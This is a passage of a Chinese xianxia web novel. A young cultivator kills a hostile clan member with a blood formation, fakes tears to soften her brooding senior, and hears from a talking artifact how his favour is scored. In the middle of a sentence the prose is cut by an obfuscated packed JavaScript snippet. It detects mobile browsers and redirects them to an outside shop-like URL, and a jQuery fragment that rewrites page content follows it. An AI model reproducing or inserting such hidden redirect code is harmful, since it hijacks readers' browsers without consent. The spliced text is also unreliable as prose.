姜昀之依旧不解地望着他,等待师兄的回应,她知晓什么该问,什么不该问。 药堂一事,不问不一定能活下去,但问了肯定就得死。 姜昀之提起裙裾,已经走向了药田:“师兄,我是该摘篱笆东边的,还是该摘篱笆西边的?” 章见伀:“都摘些。” 他冷漠地望着少女踏入药田的背影。 姜昀之踏入药田的那一刹那,地面突然出现了一阵晃动,一道阵法“砰”得砸向她所站的地方。 “终于等到你们了!”半空中响起叫声。 一切发生在转瞬之间,阵法在药田里砸出了个土洞,泥地冒白烟,幸而姜昀之躲得快,只有裙裾被烧黑了一些,她站回章见伀身侧,抬眼望向上空。 说话的人是个男修士,他身形瘦长,座下的白虎十分庞大,呼啸声骇人,一人一虎盘踞在半空,男修士周身雷光若隐若现,适才的阵法正是他劈下来的一道雷,术法狠厉,一看就是奔着杀人来的。 来者不善。 姜昀之只觉得莫名其妙:“来者何人,为何要伤人?” 男修士名叫赵昌,乃岭南赵氏旁支后人,听闻秘法依旧藏在废弃的‘药章世庄’中,早就将章家的药堂翻了遍,没找出任何东西,便设结界在此守株待兔。 果然,真让他等来了两个人。 姜昀之知道,这么多年来,像赵昌为了秘法而来的人肯定多之又多,不过该装不懂时候就该做的滴水不漏。 她站在章见伀身旁,怔怔地望着半空:“师兄,这人是谁啊?” 章见伀眸光冷漠:“不认识。” 赵昌:“底下的人听着,我是岭南赵氏的人,你们是药章家的后人吧,把秘法交出来,饶你们不死!” “什么秘法?”少女提声道,“我们并不知晓你在说什么,你认错人了。” 赵昌盯着廊下站着的两人,冷哼一声:“狡辩!” 他认定了二人是药章氏后代,抬手间一道雷光又批下来,轰隆而来,从雷势来看,此人至少已经是金丹后期的修为。 轰雷霹雳而来,章见伀本以为姜昀之这样的人会如同一只胆小的兔子般躲到他身后,但雷光劈来的那一刹那,少女不仅没退,反而挡在了他身前。 姜昀之身后的剑“啪”得出鞘,挡下这一雷击的同时,剑身碎裂成一地。 姜昀之伸手挡在章见伀身前:“师兄,你还受着伤,这个人由我来对付。” 章见伀意外有余,暗红的眸子升上一丝嘲讽。 你怎么对付? 一个筑基去硬碰金丹,准备送死吗? 少女眼中似乎没有‘螳臂当车’这个观念,说她来对付,便堂堂然地走出廊下,行至空地上,似是在履行诺言,故意将赵昌引开离章见伀所站的回廊,不让纷争波及到他。 章见伀快被少女的正派作风给气笑了。 此人真的是……自相遇起,便样样事出乎他的意料,也样样事让他看不顺眼。 她此举,和屠灭前的章家有何区别?就是立了个靶子去送死罢了。 章见伀显然不是会上前帮忙的人,站在廊下隔岸观火。 坐在白虎上的赵昌眯了眯眼,望着和他对峙的姜昀之:“你就是章家的后人?” 这两个人,另一个人满脸刀痕,一看就是个杂役,此少女气质卓然,倒是真像是身怀秘法的模样。 念及此,赵昌的眼中升上狠意。 赵昌:“别跟我绕弯子了,要不然我现在就弄死你!” 真是可笑,章氏已经没落到后人只是一个小小筑基了吗,他现在一根指头就能碾死她。 姜昀之扔下后背的空剑鞘:“我不明白你在说什么,我说了,你认错人了。” 她指向篱笆里:“我只是来采药材的。” “连借口都不好好找,这是什么药材,这明明是杂草!糊弄我?”赵昌怒目圆瞪,抬了三次掌,将篱笆里的杂草全都烧没了。 浓烟铺面而来,几番解释无人听后,姜昀之的面色也沉下来,澄澈的双眼里只剩下冷意:“ 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自己的雷竟然被一个小小的筑基给挡下了,这岂能忍!赵昌气沉丹田,一边结阵,一边朝座下白虎喊道:“白虎!给我咬死她!” 庞然的白虎呼啸而出,直接从半空中朝姜昀之扑去,嘶吼间腥气扑鼻,铺天盖地地要把姜昀之扑倒。 黑影压向姜昀之,她一边后退一边继续不动声色地结印,借力攀上树的同时,修罗印结好,白虎周身的灵气被她撕开,嘶吼的身躯受挫,以扑向树的姿势摔倒于地,重重地翻了几个跟头后,这才用爪子停下了不断往后震的身躯。 站在树上的姜昀之却没有片刻的喘息时间,白虎摔下去的同时,赵昌的雷光阵设好,十道雷光朝姜昀之密集地砸来,“噼里啪啦”“噼里啪啦”,一时间眼前全都是白光,雷光刺眼到让人看不清周围还有什么事物。 赵昌狠厉地大笑:“不交出秘法,就去死吧!” 少女的脸上并没有出现他所想象的恐惧,她将腰间的乾坤袋取下,数十颗血珠子从乾坤袋里跃出,豁然升起在她身前,盘旋结阵。 此时,就连与她朝夕相处的神器都不得不头皮发麻了,它都不知道契主什么时候自创了以血珠子为阵眼的术法。 血珠子升起的刹那,姜昀之冷静地念词,此口诀是她日日泡在血池子里悟出来的,无际的血浆,漂浮的尸体,汹涌的煞气,翻滚的蛆虫…… 风中,姜昀之衣摆飘荡,口中念念有词:“血为引,魂为祭。怨不灭,煞不止。尸鸣骨转,阴火同归。” 她将手指和中指并于额前:“开。” 十颗血珠子爆裂开,汹涌的煞气激荡而出,将雷光团团包围住,雷光在血气里不断挣扎光亮,但无论如何挣扎都无法挣扎出荡然的血煞之气,“噼里啪啦”逐渐熄灭成小火花,最终化为虚无。 过于消耗灵气让姜昀之直接吐出了一口血。 赵昌目瞪口呆,不敢置信:“你是哪个门派的?” 他不信一个筑基能有这样的实力,他可是金丹后期!赵昌的脸一寸寸地变红,没面子至极,血性也被姜昀之的反击给激起,今日他不弄死姜昀之他就不姓赵! 他狂喝一声,想要速战速决,祭出了一个献祭法,阴冷的阵法围住了白虎,竟是要将自己的坐骑献祭成妖物。 此乃阴法,一般只有心术不正至极的道士才会用此法。 白虎哀嚎一声想要逃走,被阵法活生生拖进去,接连几声哀嚎后,原本威风饱满的身躯被阵法吸干,尖锐的嚎叫声中,它的肉身掉落,全身被黑气笼罩。 赵昌一点都不心疼:“去吧!” 姜昀之面无表情地看着这一切。 阴虎晃荡着黑气缭绕的身躯,以更猛烈的姿态朝姜昀之扑去,而赵昌也结起了暴雷阵,数不清的雷光从他身后跃向姜昀之,一时间,无论是势不可挡的阴虎,还是密密麻麻的雷光,全都朝姜昀之袭去。 几乎是铺天盖地地将她淹没了。 谁都觉得她不会再活了。 包括廊下的章见伀。 有那么一瞬间,他是觉得惋惜的,不过这种惋惜很快便撤去。 她并不适合这个世道,就像从前的章家不适合这个世道一样,死亡对她而言,说不定是个不错的选择。 雷光密布,阴虎吼声阵阵,地面晃动中,豁然“砰”的一声,有东西从雷光阵中豁然冲破。 血珠子! 源源不断的血珠子! 不是一颗,不是十颗,是上百颗血珠子,从雷光中炸开,一颗一颗地涌出来。 这样的血珠子,姜昀之曾躬身在血池里日复一日地捞着,捞了足足有二百多颗。 她当时捞的时候只想着要好好修炼,打好基础,从没想到这么快就用上了。 雷光阵下。 姜昀之的声音一字一句:“血为引,魂为祭。” “怨不灭,煞不止。” “尸鸣骨转,阴火同归。” 少女冷淡的声音喝出:“开!” 随着这一声落下,上百颗血珠子爆裂炸开,血水喷溅,形成一个偌大的血阵,血气冲天,煞气更是冲天。 血水洋洋洒洒落下,在炸裂声中浇灭了雷光,也将阴虎镇压得魂飞魄散。 满身是血的姜昀之从阵法中走出来,冷冷地望着赵昌:“我可没说自己只有十颗血珠子。” 赵昌见事态不对,赶忙想要逃跑,被血阵给拖住,于尖叫声中陷入了血水中,双腿腐蚀,很快彻底融化在了地底。 饮饱人血,血阵自此阖上,姜昀之走出血阵,灵府的灵气透支,她一下吐了三大口血。 她的侧脸沾了血,却被衬得愈发纯净,血阵的煞气在半空中飘荡,却始终无法侵袭少女的身体,好似这世上没有任何东西能将这汪春雪弄脏。 血雾于半空中弥散着,姜昀之隔着血雾望向廊下的章见伀,擦拭完嘴角的血,缓缓地露出一个笑:“师兄,我做到了。” 16. 第十六章 姜昀之腰间的环佩用力地动弹了一下。 神器:“这次不用读取了,肯定是加分!” 少女朝回廊下走去,嘴角的笑愈发真诚,这笑意不是因为加分,而是因为适才与赵昌的一战。 虽然赢得并不轻松,身上各处因灵气耗竭而作痛,但能让她在负雪宗潜心修炼的东西有所运用。刚才吐血的时候,她能感觉到体内的修为正汹涌地波动,隐隐约约有即将突破筑基、快要结丹的迹象。 只有险境,才能让修为快速成长。 姜昀之是故意的。 故意将白虎引到了远离章见伀的地方。 她并不希望天道之子动用什么恻隐之心来救她,也并不在意如果章见伀救了她,是否能有更多的机会加分,或是让彼此的感情升温。 作为一个修道人,让别人来救这件事,是一件永远会让她觉得耻辱的事。 少女行至廊下,定定地望着章见伀,透亮的眸子里有种近乎狂热的天真:“总有一天,我会变得和师兄一样厉害。” 章见伀沉默地望着眼前的姜昀之。 心中对于她的杀意逐渐消散。 修道人都喜欢有种的人,少女有此等心性,就算是章见伀,也是有几分欣赏的。 总比那些嘴上说着‘善’啊‘善’的,结果关键时候还得等着人来救的人要好。 高大修长的身影缓慢地站直,他望向她眼中的笑意,这一刻,他是能懂她的:“爽?” 这就是他为什么喜欢杀人的原因。 尤其杀那种修为极高的人,看着他们在自己的刀下惶恐地讨饶,看着他们愤怒地想要反击却无能为力,最终他们的恨意都化为了他修为进阶的肥料。 眼前的这个人,适才的一战对她而言是越阶而战,虽然疼痛,但明显能有所感悟。 少女懵懂地望着他,而后用力地点了点头:“开心。” 她道:“师兄,我觉得我好像能直接渡过瓶颈,不久后就能结丹了。” 可章见伀问这话并不是想让她开心。 他暗红的眸子里升上一股恶意,低沉的声音若深渊底流淌的潭水:“可是你杀人了。” 他的言语里有嘲讽:“不是说不想杀人么?” 姜昀之先是一愣,这时才想起身后在血阵里已化为白骨的赵昌,乌黑的眼睛惶恐地转了转,像是这才意识到自己活生生地杀了个人。 她咽了咽口水,害怕地往章见伀身后躲了躲。 章见伀:“躲在我身后干什么?” 姜昀之:“师、师兄,他、他会化为魂魄来索我的命么?” 章见伀冷笑一声:“人死后是没有魂魄的。” 他杀死过那么多人,若是人人都化为魂魄来索他的命,他就是上万条命都不够瓜分的。 少女躲在他身后有若一个沾了雨水的兔子,不停地发抖,章见伀的眼中升起嘲讽:“若是这么怕,为何要杀人?” 姜昀之:“师兄,我只是担心他化为厉鬼,但是对于杀他这件事,我是不后悔的。” 如若章见伀转头往后看,会发现少女的惶恐全是装出来的,她的身子虽在轻微地抖动,但澄澈的双眼中一丝波动都没有。 这确实是少女第一次杀人,毕竟飡松宗中没有什么不好的事,她不可能无缘无故地杀人。 可杀人这件事,只要身处在修真界中,或早或晚都会面临。 章见伀:“你不后悔?” “师兄,我没说过我不杀人,我之前的意思是,杀戮不是我的道,”姜昀之道,“我说修罗道不一定要用杀戮来证道,没说我不会除恶。” 少女往前走了几步,重新走到章见伀身旁,望向血阵里的白骨,认真道:“赵昌此人,死有余辜,我若不杀他,他肯定会杀了我,师兄……我又不是傻子。” “是么,除恶?”章见伀嗤笑一声。 还真是道貌岸然的词语。 所谓的正道之人,是不是都会给自己的杀人包裹上一层正义? 他正欲再说些什么,却见身旁的少女,望着院子,兀然落下泪来,那眼泪若珍珠一般,一声不吭地便接连落下,说哭就哭,连任何预兆都没有。 章见伀略一怔愣,不自然地避开视线。 半晌之后他再次侧眼,姜昀之还在哭,似乎哭得更凶了,虽不发出声响,但眼尾都哭红了,若是有旁人看到此景,说不定会以为是他仗着自己的道行将人欺负了。 这还是章见伀第一次见人落泪。 毕竟旁人也没有机会在他跟前哭,估计眼角还没红,他手中的雪刀早就落下了。 章见伀瞥了姜昀之一眼,咳了一声:“适才还志气满怀,现在怎么淌起水来了?” 他又咳了一声:“不就是杀了个人么,不至于如此。” “师兄,不……是。”姜昀之似是要解释些什么,但一出声喉咙抖得厉害,眼泪更是流个不停。 那是因为什么? 章见伀皱了皱眉。 别哭了。 他没把这句话说出来,因为他知晓按照少女的脾性,他说完此话后,必定会哭得更厉害。 难道是因为疼? 章见伀真想一走了之,不过望着少女沾满血的罗裙,难得大发仁慈地停下脚步,一挥手,一个术法落在姜昀之的身上。 术法转瞬即逝,姜昀之身上的血迹褪去,胳膊上的伤口也止血了,不过止血过的伤口依旧可怖,一道长痕横亘在少女纤细白皙的胳膊上,周围的肌肤太过娇嫩,愈是显得伤口触目惊心。 血迹也没了,伤口也止血了,这下该停下了吧? 章见伀垂眼一看,少女哭得更厉害了。 章见伀:“……” 美人落泪正常人能瞧得心碎,章见伀没有半分怜香惜玉的心:“你到底是怎么了?” 这份心烦让章见伀想起自己小时候玩过的一个纸船,刚放在溪涧上时明明坚固无比,后来无端地漏起水,漏个不停,无论他怎么补都修不好。 章见伀:“还疼?” 他不是医修,可不会治疗什么伤口。 章见伀只会杀人,不会治人。 章见伀:“你若是还疼,自己回去找个大夫去。” 真是娇气。 少女抽抽嗒嗒的,看上去委屈极了:“不是的,师兄,我不疼。” 章见伀眯了眯暗红的眼眸:“那是怎么了?” 他的耐心已经告罄,若是此人再哭下去,他就将人敲晕了,晕过去,自然就不会再哭了。 幸而姜昀之在被敲晕前说出了缘由,她指向篱笆:“师兄,药材、药材全都被烧没了。” 她难受地垂下眉眼:“都怪我,没有早些摘好,现下药材都烧没了,师兄便没办法治疗脸上的伤口了。” 章见伀愣了愣。 就因为这个? 因为他? 如此愚善之人,还真是让他给遇到了。 他望向篱笆里被烧得只剩下草根的土地,冷声道:“还会长出来的。” 少女不信:“真的吗?” 章见伀耐着脾气胡说:“是。” 他道:“别哭了,太丑了。” 姜昀之:“……” “可是,什么时候才能长出来啊?”姜昀之用手捂住脸,垂着脑袋佯装还在抽泣的模样,其实用手捂住的双眼早就没了故意淌下的泪水,取而代之的是淡淡的笑意。 章见伀沉默了片刻,最终“啧”了一声,轻轻一抬手,篱笆里泥地重新长出草来。 不就是杂草吗,要多少就能有多少。 少女惊讶地一抬眼,泪水一下止住了:“真的长出来了!” 做戏做全套,姜昀之拎起裙裾,跟只小兔一样扎进了篱笆里,兴奋地摘起了‘药材’,不一会儿就摘满了一整个篮子。 章见伀在廊下冷眼旁观。 一会儿哭一会儿笑的,眼睛里莫不是装了口泉。 少女腰间的环佩在风中轻轻地晃动了一下。 不一会儿,姜昀之提着两个篮子,蹦蹦跳跳地走到他跟前:“师兄,药材我都采好了,需要我帮你敷么?” 章见伀瞥了眼姜昀之兴奋到发亮的眼神,又瞥了眼篮子里堆积的杂草:“……” 他面无表情地接过其中一个篮子:“剩下来的你自己敷吧。” 高大修长的身影转身踏入屋中,只留下一个背影。 姜昀之朝堂屋内问:“师兄,我们什么时候回负雪宗啊?” 章见伀已经走远了,并没有回应她,姜昀之疑惑地侧了侧脑袋,想到章见伀这也算是回家了,也许还要独自待一会儿,不再前去打扰,安静地在廊中就地坐下,处理起自己胳膊上的伤口。 当然不可能真用杂草上药。 姜昀之从乾坤袋里取出药膏,轻而快地给胳膊上涂好药,而后用绷带一圈一圈扎好,做完这一切,灵气耗竭的她太过于疲惫,靠着墙就这么睡了过去,双眼缓慢地闭上。 内堂的居室里,章见伀冷漠地望着墙上的挂画。 画上已经长满了蜘蛛网,如若拂开落灰的网,能看到画上是四世同堂的画像,只不过现在画也坏了,一群人里也只活下来了他一个。 记忆中亲人的长相早就模糊。 也许他一开始杀人是想要报仇,可渐渐地,他杀人的用意早就变成了以杀戮为乐。 他和那个愚善的昭明不一样,他杀人是为了享乐,不是为了除恶。 再在居室里待了会儿,章见伀离开了内堂,回到了院子里的回廊,廊角的少女太过显眼,就算睡着了,斜阳也毫不吝啬地偏爱着她,将温暖的余晖尽数洒在她的侧脸。 姜昀之睡得深沉,呼吸浅浅的,上半身弯在檐槛上,柔和的侧脸比春雪还要白皙透亮,垂下的青丝遮住了她的脖颈,修长的手指无意识地往槛外伸。 在黄昏的日影下,因为少女的存在,廊角自成一幅画卷。 章见伀面无表情地看了会儿,眉尾挑了挑。 放任她在这里睡下去,或许冻死在这里也不失为一桩美事。 章见伀走了过去,姜昀之睡得很沉,根本没有意识到他的靠近,发丝下的脸睡得红扑扑的。 再这么睡在风口,说不定很快就会发烧,然后就死了,章见伀胡思乱想着,但是死前她肯定会哭很长时间,一想到她哭的样子,章见伀没来由地心烦。 被子?给她找个被子?可荒废的药庄里哪有被子这种东西。 算了。 暗红的眸子沉沉地望向廊角的少女。 高大修长的身影弯下腰 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16802168|189029||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,将姜昀之抱起身,少女身量修长,可在章见伀宽大的胸膛中占据不了半壁,纤瘦到过分,她的双腿垂落在外,脑袋若有所感地倚向了温暖的胸膛。 章见伀不舒服地皱了皱眉,四周黑气笼罩,他抱着姜昀之消失在阵法中。 下一瞬,两人置身于负雪宗。 章见伀一脸冷淡地推开了姜昀之居所的门,走到榻旁,像是扔一个烫手山芋般得将少女扔下,姜昀之几乎是“砰”得落在了榻上。 她真是睡得太熟了,就算在这样的动静下,也只是睫毛翕动了下,而后轻车熟路地抱紧了棉被,往暖和的被子里钻,将自己蜷缩起来。 章见伀居高临下地环顾姜昀之的居所。 小小的,破破的,果然是个兔子窝。 这居所里,到处都是她身上的那股春雪气息。 章见伀眯起暗红的眸子,不耐烦地皱了皱眉,高大的身影从屋子里离去。 榻上的少女依旧熟睡着,她腰间的环佩却轻轻地响了一下。 - 翌日清晨。 姜昀之揉了揉眼睛,推开身上的棉被,坐起了身,过于盛烈的日光让她有些没反应过来自己身在何处。 乌黑的眸子先是望向了四周,又望向自己胳膊上的绷带,这才慢慢地反应过来昨天到底发生了些什么。 给自己包扎完伤口,她在药堂的回廊里睡着了。 那为何现在会身处负雪宗? 姜昀之:“前辈,你送我回来的?” 神器有些尴尬地咳嗽了几声,它倒是想,可问题区区一个边角料根本没有这个功能:“是天道之子送你回来的。” 说到这个,神器的语气变得开心:“昨天一整天,好感度加了不少!” 姜昀之:“我记得环佩一共响了两下?” “不是,是三下!”神器道,“你睡着后又响了一下!一共加了三分!” 神器:“第一次加分是最难的,因为那是在天道之子对你印象最差的时候,且对你起了杀心,但你与赵昌的对峙彻底地扭转了他对你的看法,获得了突破性的一次加分。” 姜昀之:“扭转了对我的看法?” 神器:“对,在此之前,他对你的印象一降再降,是因为他不认可你整个人以及你的处世之道,认为你是一个伪善的人,但是这次你在药庄的表现,让他意识到你的道义并不是一句口号,他虽然依旧不认可你的处世之道,但并不会再因此而厌恶你。” 神器:“有了这个基础,往日里有可能扣分的地方也变成了加分项,就譬如你替他在篱笆采药,放在从前他肯定会觉得伪善,但这次确实有所加了一分。” 虽然表面依旧很讨厌这种行为。 姜昀之若有所思:“最后一分加在哪里?” 神器:“加在天道之子将你抱回居所后。” 姜昀之不解:“他抱我回屋子,为什么会加分?” 神器:“可能是屋子里的气味不错。” 神器:“也可能是他觉得能暂时脱离你这个‘麻烦’,心情不错。” 姜昀之沉默片刻:“所以现在他对我的好感,一共多少分?” 神器骄傲地说:“加了整整三分,来到了负七分。” 姜昀之:“……” 看来获得天道之子的认可真的不是易事啊,都这样了还停留在负分,少女坐在榻旁,漫不经心地想着。 比起他人的好感,她显然更在乎自己的修为,她检查了一遍自己的灵府,确定修罗道隐隐约约有突破的迹象,嘴角露出浅笑。 姜昀之站起身,给胳膊换药,一圈一圈地缠上了新绷带。 神器:“天色还很早,契主,你要去哪里?” 姜昀之:“今天我入负雪宗内门的第一天,按照规矩我得去子应山行拜师礼,今日也是明烛宗苦修的第七日,我得回明烛宗练剑。” 神器有些愧疚地心想,好忙。 但接下来只会更忙。 神器:“十二天后,就是天南宗的入门选拔了。” 天南宗的弟子选拔比较特殊,和负雪、明烛二宗不同,每年都会整些新花样。 行程好满,神器尴尬地又咳了一声:“不过这次在选拔上我们应该遇不到天南宗的天道之子,我们还得通过其他办法去遇见他。” 姜昀之:“为何?” 神器:“我去调查了一番,发现天南宗的天道之子自从抵达化臻境界后,基本不在修真界活动了,可能是因为讨厌与人相处,也有可能是因为他出身于人间皇室,他一般大隐隐于市,在凡间生活。” 姜昀之注意到神器用的字眼是‘可能’:“可能?” 神器:“是的,因为这位天道之子太过神秘,我收集到的信息太少,暂时只能通过少有的资讯来揣测他,无法确定他具体是一个什么样的人,更具体的信息,我还得再深入去探测。” 神器:“至于怎么攻略这位天道之子,目前信息太少,我利用神力只分析出了一个关键词。” 姜昀之:“什么词?” 神器:“三个字。” 神器:“白月光。” 姜昀之愣愣地抬眼望向窗外的天空,晴空万里,高挂一轮初日。 白月光。 什么是白月光?